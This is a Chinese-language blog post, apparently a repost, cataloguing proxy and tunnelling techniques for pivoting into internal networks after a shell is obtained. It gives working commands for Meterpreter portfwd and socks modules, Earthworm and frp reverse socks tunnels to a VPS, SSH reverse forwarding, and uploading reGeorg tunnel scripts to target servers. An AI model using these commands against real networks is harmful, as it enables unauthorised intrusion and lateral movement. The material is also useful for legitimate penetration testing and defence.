浅谈内网渗透代理
2020-07-20 10:59:58 Author: xz.aliyun.com(查看原文) 阅读量:729 收藏

这篇文章列举出我用过的内网代理方法,也算是对内网渗透代理姿势的巩固,也方便日后查阅。

Meterpreter

Meterpreter可以说是渗透中用得较多的工具,在反弹了处于内网的目标shell之后,介绍两种代理方式。

portfwd

portfwd用于转发单个端口,当你目的性很强的情况下,比如只需要目标的3389端口等,这不失为一种较好的方法。

详细使用语法见:https://www.offensive-security.com/metasploit-unleashed/portfwd/

大致如下:

meterpreter > portfwd add –l 7003 –p 3389 –r 192.168.52.138
# 添加转发 -l:服务器监听端口  -p:内网主机需转发端口  -r:目标内网主机ip
meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191
# 删除转发
meterpreter > portfwd list
# 列出当前正在侦听和转发的端口列表
meterpreter > portfwd flush
# 移除所有转发端口

socks代理

socks代理只是tcp一层往上,如icmparp等就无法被代理。

msf中内置了三个socks代理模块,分别是socks4asocks5socks_unc。一般常使用 socks4asocks5进行代理。其二者只是由于所支持的具体应用不同而存在差异。socks4只支持TCP协议而socks5支持TCP/UDP协议,还支持各种身份验证机制等协议,也就是说这里使用socks5的话还需要设置用户名与密码。

在获取shell的机器上添加路由

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.21.0/24
# 添加路由
meterpreter > run autoroute -p
# 显示路由
meterpreter > route flush 
# 删除

可以先通过arp扫描内网大概存活机器情况

meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.21.0/24

然后建立socks4代理,

meterpreter > background
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run

设置完成后配置proxychains,成功

socks5模块也同理,只是会多设置一个用户名与密码。

参考:

https://blog.csdn.net/qq_36119192/article/details/105872076

https://klionsec.github.io/2016/09/25/msf-socks4a/

NATBypass

NATBypass是一个端口转发工具,类似于lcx,称为golanglcx,可编译为linuxwindows版本。

具体原理大概就是公网vps监听两个本地端口,内网目标主机建立一个端口转发,比如将本地3389转发到公网vps的一个端口,vps监听的另一个端口就相当于内网主机3389

公网vps

内网主机

nb -slave 127.0.0.1:3389 x.x.x.x:1997
# x.x.x.x是公网vps的IP

本机直接访问公网vps2017端口即可实现远程内网主机。

ssh隧道

ssh可以端口转发或是建立socks5隧道。

公网主机建立SOCKS隧道

如果是具有公网地址的主机利用ssh建立socks5隧道就简单了:

ssh -N -f -D 9070 x.x.x.x

随后编辑本机/etc/proxychains.conf文件:

代理成功:

浏览器设置代理:

通过公网主机穿透两个内网

设想一下,你和目标主机分属不同的内网,从外界都无法直接连通。不过好在这两个内网都可以访问公网(JumpHost),你考虑通过一台公网机器建立两个内网之间的隧道。

在目标主机中执行:

ssh -qTfNn -R 2222:localhost:22 JumpHost

现在登录公网主机执行:

达到的效果只是将目标主机的端口转发到了公网,但是并未实现socks代理,思考后,尝试了后都不成功,不知可行否,若有师傅告知非常感激!

参考:https://cherrot.com/tech/2017/01/08/ssh-tunneling-practice.html

Earthworm

简称EW官方项目已停止更新,可在fork地址下载。

详细使用语法见:http://rootkiter.com/EarthWorm/

EW功能很强大,提供“正向”、“反向”、“多级级联”等方式打通隧道,更适用不同的操作系统,LinuxWindowsMacOSArm-Linux 。下面介绍一种简单的反向代理方法。

公网vps执行

./ew_for_linux64 -s rcsocks -l 7010 -e 7011

目标内网主机执行

.\ew_for_Win.exe -s rssocks -d x.x.x.x -e 7011
# windows
./ew_for_linux64 -s rssocks -d x.x.x.x -e 7011
# linux

本地攻击机即可通过proxychains或者浏览器设置socks5代理至公网vps7011端口即可。

注:无意间浏览该工具作者的博客发现了该工具的新版本,http://rootkiter.com/Termite/ 还没来得及测试使用,先分享一下。

frp

frp作为反向代理工具胜在稳定,但是其依赖配置文件,溯源容易。

项目地址:https://github.com/fatedier/frp

可用于端口映射或打通socks隧道,下面介绍socks隧道代理

公网vps主机frps.ini文件

[common]
bind_port = 7000
token = password

启动frps

目标内网主机frpc.ini文件

[common]
server_addr = x.x.x.x
server_port = 7000
token = password

[socks5]
type = tcp
remote_port = 7004
plugin = socks5

启动frpc

本地攻击机修改/etc/prxoychains.conf配置文件即可

基于web服务的socks5隧道

基于web服务的socks隧道使用方便,可用于突破网络限制。常用的工具有:reGeorgreDuhTunna等。

使用方法都大致一样,上传对应网站语言的脚本文件到目标内网服务器,本地利用脚本连接建立socks5隧道即可。

比如reGeorg

根据目标服务器解析语言,选择脚本上传到服务器端,访问显示Georg says, 'All seems fine',表示脚本运行正常。

本地攻击主机运行

python2 reGeorgSocksProxy.py -p 7001 -u http://url/tunnel.php

监听7001端口,出现Georg says, 'All seems fine'字样表明运行正常。可结合prxoychains进行代理。


文章来源: http://xz.aliyun.com/t/8001
如有侵权请联系:admin#unsafe.sh